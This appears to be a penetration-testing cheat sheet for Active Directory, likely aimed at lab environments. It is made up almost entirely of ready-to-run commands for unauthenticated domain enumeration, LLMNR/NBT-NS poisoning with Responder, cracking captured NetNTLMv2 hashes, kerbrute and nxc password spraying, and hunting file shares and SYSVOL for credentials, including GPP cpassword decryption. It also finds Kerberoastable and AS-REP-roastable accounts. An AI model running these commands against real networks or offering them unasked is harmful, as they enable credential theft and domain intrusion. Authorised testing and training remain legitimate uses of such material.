Service bank
DIRECTORY / AD 53/udp 88/tcp 135/tcp 139/tcp 389/tcp 445/tcp

AD Enumeration

aka AD Recon, Domain Enumeration, LLMNR Poisoning

Active Directory enumeration from zero: LLMNR/NBT-NS poisoning with Responder, unauthenticated recon (enum4linux-ng, kerbrute, LDAP anonymous), SMB share enumeration, password policy discovery, and post-credential domain mapping.

Ports

PortProtoNotes
53udpDNS — domain discovery
88tcpKerberos — DC indicator
135tcpRPC
139tcpNetBIOS
389tcpLDAP
445tcpSMB

Fingerprint

  • 88 + 389 + 445 + 135 open together = Domain Controller
  • LDAP base search leaks domain name, naming contexts, DC hostname

Key files

PathHoldsSensitive
SYSVOL\domain\Policies GPP cpassword (Groups.xml, printers.xml) sensitive
user description/info LDAP attributes passwords stored by admins in user objects sensitive
NETLOGON share logon scripts — check for embedded creds sensitive

Exploitation primitives

  • Responder on LAN captures NetNTLMv2 hashes via LLMNR/NBT-NS/MDNS poisoning
  • kerbrute userenum validates usernames against Kerberos without triggering account lockout
  • enum4linux-ng via NULL session reveals users, groups, shares, password policy
  • nxc smb network sweep identifies live hosts, OS versions, signing status
  • Snaffler hunts file shares for credentials, config files, SSH keys

Phase 1 — Unauthenticated Recon

Identify domain controllers

nmap -p 88,389,445,135 --open -T4 10.129.0.0/24
nxc smb 10.129.0.0/24  # pings and fingerprints the whole subnet

LDAP anonymous / NULL bind

# Grab domain name and naming context
ldapsearch -x -H ldap://DC_IP -s base namingContexts

# Enumerate users with NULL bind
ldapsearch -x -H ldap://DC_IP -b 'DC=domain,DC=local' '(objectClass=person)' sAMAccountName

# NULL session SMB
enum4linux-ng -A 10.129.1.10
smbclient -N -L \\\\10.129.1.10

kerbrute — username enumeration (no lockout)

kerbrute userenum --dc 10.129.1.10 -d domain.local /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt

# Also validates via AS-REQ (no creds needed)
kerbrute passwordspray --dc 10.129.1.10 -d domain.local users.txt 'Welcome1!'

Phase 2 — LLMNR / NBT-NS Poisoning (Responder)

When a Windows host fails to resolve a name via DNS, it broadcasts LLMNR/NBT-NS. Responder answers those broadcasts and captures NetNTLMv2 hashes.

Passive analysis mode (safe — no poisoning)

sudo responder -I eth0 -A

Active poisoning

sudo responder -I eth0 -wrf
# -w = WPAD proxy
# -r = forward traffic
# -f = fingerprint

Responder saves hashes to /usr/share/responder/logs/. Crack with:

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Force LLMNR traffic (from inside a domain)

From a Windows machine: browse to a non-existent UNC path \\nonexistent\share — triggers LLMNR.


Phase 3 — SMB Enumeration

# Network-wide SMB sweep
nxc smb 10.129.0.0/24

# List shares (NULL session)
nxc smb DC_IP -u '' -p '' --shares
smbclient -N -L \\\\DC_IP

# List shares (with creds)
nxc smb DC_IP -u user -p pass --shares
smbmap -H DC_IP -u user -p pass

# Enumerate share contents recursively
smbmap -H DC_IP -u user -p pass -r 'Share Name'
smbclient \\\\DC_IP\\ShareName -U 'DOMAIN\user%pass'

Phase 4 — Password Policy Discovery

# NULL session policy (no auth)
enum4linux-ng -P 10.129.1.10
nxc smb DC_IP -u '' -p '' --pass-pol

# With creds
nxc smb DC_IP -u user -p pass --pass-pol
Get-ADDefaultDomainPasswordPolicy  # PowerShell on domain

Key values to note: lockout threshold (how many sprays before lockout), observation window (how long until counter resets), min password length.


Phase 5 — Authenticated Enumeration

User and group enumeration

# With creds
nxc ldap DC_IP -u user -p pass --users
nxc ldap DC_IP -u user -p pass --groups

# PowerView (on Windows)
Get-DomainUser | select samaccountname, description, memberof
Get-DomainGroup | select name, member

# With description field — admins sometimes store passwords here
Get-DomainUser | Where {$_.description -ne $null} | select samaccountname,description
nxc ldap DC_IP -u user -p pass -M get-desc-users

Find hosts with Local Admin access

# CME — try creds across network
nxc smb 10.129.0.0/24 -u user -p pass

# PowerView
Find-LocalAdminAccess -Verbose

Snaffler — file share hunting

# Run on domain-joined Windows machine
.\Snaffler.exe -d domain.local -s -o snaffler.log

# Snaffler hunts for:
# .config, .xml with passwords
# .kdbx (KeePass databases)
# .ppk, id_rsa (SSH private keys)
# web.config, appsettings.json

Phase 6 — LDAP Detailed Enumeration

Fine-grained password policies (PSOs)

ldapsearch -x -H ldap://DC_IP -D 'user@domain.local' -w pass \
  -b 'DC=domain,DC=local' '(objectClass=msDS-PasswordSettings)' '*'

Find Kerberoastable accounts (SPNs)

ldapsearch -x -H ldap://DC_IP -D 'user@domain.local' -w pass \
  -b 'DC=domain,DC=local' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName

Find AS-REP Roastable accounts (no preauth)

ldapsearch -x -H ldap://DC_IP -D 'user@domain.local' -w pass \
  -b 'DC=domain,DC=local' '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName

GPP cpassword in SYSVOL

nxc smb DC_IP -u user -p pass -M gpp_password
# Manual:
smbclient \\\\DC_IP\\SYSVOL -U user%pass
# Search for cpassword in Groups.xml, printers.xml, scheduledtasks.xml

Decrypt GPP cpassword:

gpp-decrypt '<encrypted_string>'

Password Spraying

# One password against all users (respect lockout policy!)
nxc smb DC_IP -u users.txt -p 'Welcome1!' --no-bruteforce
kerbrute passwordspray --dc DC_IP -d domain.local users.txt 'Welcome1!'

# Spray OWA / Exchange
ruler --domain domain.local --username user --password 'Welcome1!'

References